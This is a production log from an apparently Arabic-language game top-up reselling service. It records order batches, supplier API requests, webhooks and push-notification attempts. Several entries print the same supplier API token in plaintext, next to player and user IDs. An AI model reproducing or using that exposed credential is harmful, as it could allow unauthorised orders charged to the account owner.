[2026-03-24 18:48:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:48:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:48:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2,"order_ids":["ORD-jTLh-1774367208","ORD-a7JU1k-1774367226"]} 
[2026-03-24 18:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:48:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2} 
[2026-03-24 18:48:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 18:48:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 18:48:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"count":2} 
[2026-03-24 18:48:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"count":2} 
[2026-03-24 18:48:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"user_id":442,"notification_type":"order_approved","reference_id":179137} 
[2026-03-24 18:48:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"user_id":1551,"notification_type":"order_approved","reference_id":179136} 
[2026-03-24 18:48:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:48:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:48:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"processed":2,"errors":0} 
[2026-03-24 18:48:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038,"processed":2,"errors":0} 
[2026-03-24 18:48:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"EOyHguYS00cB32WRJKjvd0KB7rph1LWa","execution_time":"2026-03-24 18:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jTLh-1774367208","operation_id":164038} 
[2026-03-24 18:48:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 18:48:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 442  
[2026-03-24 18:48:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 18:49:05] production.INFO: Constructing job for order: 179139  
[2026-03-24 18:49:08] production.INFO: Handling job for order: 179139  
[2026-03-24 18:49:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:49:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:49:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=9f696b63-2a23-411f-a282-9955b75231da&Player_ID=101763082  
[2026-03-24 18:49:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=9f696b63-2a23-411f-a282-9955b75231da&Player_ID=101763082","has_body":false} 
[2026-03-24 18:49:09] production.INFO: Operation sent successfully {"operation_id":164041,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Yyjqc-1774367349","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi","notes":[],"created_at":"2026-03-24 18:49:09"}},"processed_data":{"order_number":"ORD-Yyjqc-1774367349","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi"}} 
[2026-03-24 18:50:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04"} 
[2026-03-24 18:50:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","total_operations":2,"sites_count":1} 
[2026-03-24 18:50:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-Yyjqc-1774367349"]} 
[2026-03-24 18:50:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:50:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:50:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041} 
[2026-03-24 18:50:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 18:50:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"processed":0,"errors":0} 
[2026-03-24 18:50:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yJ3jif1ESfXQTueiuFIsXgpTkB9OGsdU","execution_time":"2026-03-24 18:50:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041} 
[2026-03-24 18:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:50:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:50:04] production.INFO: Executing GetProducts task...  
[2026-03-24 18:50:06] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 18:50:06] production.INFO: async() رجع: true  
[2026-03-24 18:50:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:50:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:50:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:50:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1033  
[2026-03-24 18:50:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1463  
[2026-03-24 18:50:08] production.INFO: SendAcceptReject: Notification queued {"user_id":125,"notification_type":"order_approved","reference_id":178803} 
[2026-03-24 18:50:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 18:50:10] production.INFO: Constructing job for order: 179140  
[2026-03-24 18:50:13] production.INFO: Handling job for order: 179140  
[2026-03-24 18:50:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:50:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:50:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=cbdaebde-0b9c-4be3-8f84-8d8c4a869da2&Player_ID=103024188  
[2026-03-24 18:50:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/772/params?qty=10000&uuid=cbdaebde-0b9c-4be3-8f84-8d8c4a869da2&Player_ID=103024188","has_body":false} 
[2026-03-24 18:50:14] production.INFO: Operation sent successfully {"operation_id":164042,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Nx7GDKnp-1774367414","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi","notes":[],"created_at":"2026-03-24 18:50:14"}},"processed_data":{"order_number":"ORD-Nx7GDKnp-1774367414","amount":1.0462819999999999343032186516211368143558502197265625,"status":"processing","product":"Habi","game":"Habi"}} 
[2026-03-24 18:51:04] production.INFO: SendAcceptReject: Notification queued {"user_id":55,"notification_type":"order_approved","reference_id":178963} 
[2026-03-24 18:51:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 55  
[2026-03-24 18:51:31] production.INFO: Constructing job for order: 179141  
[2026-03-24 18:51:32] production.INFO: Handling job for order: 179141  
[2026-03-24 18:51:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:51:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:51:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/586/params?qty=1600&uuid=50fe4bfa-5737-486b-933c-0a3191fa7ac0&Player_ID=1985991  
[2026-03-24 18:51:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/586/params?qty=1600&uuid=50fe4bfa-5737-486b-933c-0a3191fa7ac0&Player_ID=1985991","has_body":false} 
[2026-03-24 18:51:33] production.INFO: Operation sent successfully {"operation_id":164043,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-IXQpCMR4-1774367493","amount":1.385569119999999987413730195839889347553253173828125,"status":"processing","product":"Bella Amount","game":"Bella","notes":[],"created_at":"2026-03-24 18:51:33"}},"processed_data":{"order_number":"ORD-IXQpCMR4-1774367493","amount":1.385569119999999987413730195839889347553253173828125,"status":"processing","product":"Bella Amount","game":"Bella"}} 
[2026-03-24 18:52:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00"} 
[2026-03-24 18:52:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","total_operations":4,"sites_count":1} 
[2026-03-24 18:52:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-Yyjqc-1774367349","ORD-Nx7GDKnp-1774367414","ORD-IXQpCMR4-1774367493"]} 
[2026-03-24 18:52:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:52:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 18:52:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-IXQpCMR4-1774367493","operation_id":164043} 
[2026-03-24 18:52:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Nx7GDKnp-1774367414","operation_id":164042} 
[2026-03-24 18:52:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:52:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 18:52:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:52:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"count":1} 
[2026-03-24 18:52:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"count":1} 
[2026-03-24 18:52:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"user_id":1488,"notification_type":"order_approved","reference_id":179139} 
[2026-03-24 18:52:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:52:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:52:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"processed":1,"errors":0} 
[2026-03-24 18:52:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041,"processed":1,"errors":0} 
[2026-03-24 18:52:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"L4rOkMi0Pcncpjd0DxCQfqeqyiMPcvkT","execution_time":"2026-03-24 18:52:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yyjqc-1774367349","operation_id":164041} 
[2026-03-24 18:52:00] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 18:52:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Nx7GDKnp-1774367414","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 18:52:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-Nx7GDKnp-1774367414","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 18:52:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:52:02] production.INFO: SendAcceptReject: Notification queued {"user_id":1488,"notification_type":"order_approved","reference_id":179140} 
[2026-03-24 18:52:02] production.INFO: Order updated successfully. Order ID: 179140, Status: completed  
[2026-03-24 18:52:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Nx7GDKnp-1774367414","status":"completed","codes_count":0} 
[2026-03-24 18:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 18:52:05] production.INFO: Constructing job for order: 179143  
[2026-03-24 18:52:06] production.INFO: Handling job for order: 179143  
[2026-03-24 18:52:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:52:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:52:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/626/params?qty=25500&uuid=483511dd-c09a-4470-bce7-201950b608bb&Player_ID=5583892  
[2026-03-24 18:52:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/626/params?qty=25500&uuid=483511dd-c09a-4470-bce7-201950b608bb&Player_ID=5583892","has_body":false} 
[2026-03-24 18:52:07] production.INFO: Operation sent successfully {"operation_id":164044,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MFfBPdH9-1774367527","amount":3.19637145000000000294448909698985517024993896484375,"status":"processing","product":"SoMatch Amount","game":"SoMatch","notes":[],"created_at":"2026-03-24 18:52:07"}},"processed_data":{"order_number":"ORD-MFfBPdH9-1774367527","amount":3.19637145000000000294448909698985517024993896484375,"status":"processing","product":"SoMatch Amount","game":"SoMatch"}} 
[2026-03-24 18:52:16] production.INFO: Constructing job for order: 179144  
[2026-03-24 18:52:19] production.INFO: Constructing job for order: 179145  
[2026-03-24 18:52:19] production.INFO: Handling job for order: 179144  
[2026-03-24 18:52:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:52:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:52:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1319487c-54c4-4513-b4f8-f340b6273c9c&Player_ID=52388741246  
[2026-03-24 18:52:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1319487c-54c4-4513-b4f8-f340b6273c9c&Player_ID=52388741246","has_body":false} 
[2026-03-24 18:52:20] production.INFO: Operation sent successfully {"operation_id":164045,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-M3qOuo-1774367540","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:52:20"}},"processed_data":{"order_number":"ORD-M3qOuo-1774367540","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:52:20] production.INFO: Handling job for order: 179145  
[2026-03-24 18:52:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:52:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:52:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/102/params?qty=1&uuid=021d343e-510c-4aaa-8efc-e5b1c1d5335c&Player_ID=12825452831  
[2026-03-24 18:52:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/102/params?qty=1&uuid=021d343e-510c-4aaa-8efc-e5b1c1d5335c&Player_ID=12825452831","has_body":false} 
[2026-03-24 18:52:21] production.INFO: Operation sent successfully {"operation_id":164046,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gAmY-1774367541","amount":0.75,"status":"processing","product":"حزمة ترقية المستوى 20","game":"FreeFire MemberShips","notes":[],"created_at":"2026-03-24 18:52:21"}},"processed_data":{"order_number":"ORD-gAmY-1774367541","amount":0.75,"status":"processing","product":"حزمة ترقية المستوى 20","game":"FreeFire MemberShips"}} 
[2026-03-24 18:52:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-M3qOuo-1774367540","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:52:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-M3qOuo-1774367540","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:52:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:52:31] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":179144} 
[2026-03-24 18:52:31] production.INFO: Order updated successfully. Order ID: 179144, Status: completed  
[2026-03-24 18:52:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-M3qOuo-1774367540","status":"completed","codes_count":0} 
[2026-03-24 18:52:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 18:53:30] production.INFO: Constructing job for order: 179146  
[2026-03-24 18:53:33] production.INFO: Handling job for order: 179146  
[2026-03-24 18:53:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:53:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:53:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=26509fca-1382-4fd8-97f9-509b4e80dda0&Player_ID=52388741246  
[2026-03-24 18:53:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=26509fca-1382-4fd8-97f9-509b4e80dda0&Player_ID=52388741246","has_body":false} 
[2026-03-24 18:53:34] production.INFO: Operation sent successfully {"operation_id":164047,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BPQFVkKb-1774367613","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:53:34"}},"processed_data":{"order_number":"ORD-BPQFVkKb-1774367613","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:53:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BPQFVkKb-1774367613","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:53:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-BPQFVkKb-1774367613","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:53:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:53:48] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":179146} 
[2026-03-24 18:53:48] production.INFO: Order updated successfully. Order ID: 179146, Status: completed  
[2026-03-24 18:53:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BPQFVkKb-1774367613","status":"completed","codes_count":0} 
[2026-03-24 18:53:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 18:54:02] production.INFO: Constructing job for order: 179147  
[2026-03-24 18:54:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04"} 
[2026-03-24 18:54:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"AIZeIXReyNcPI8goEaBwfD3mrmiR9Tln","execution_time":"2026-03-24 18:54:04","total_operations":4,"sites_count":1} 
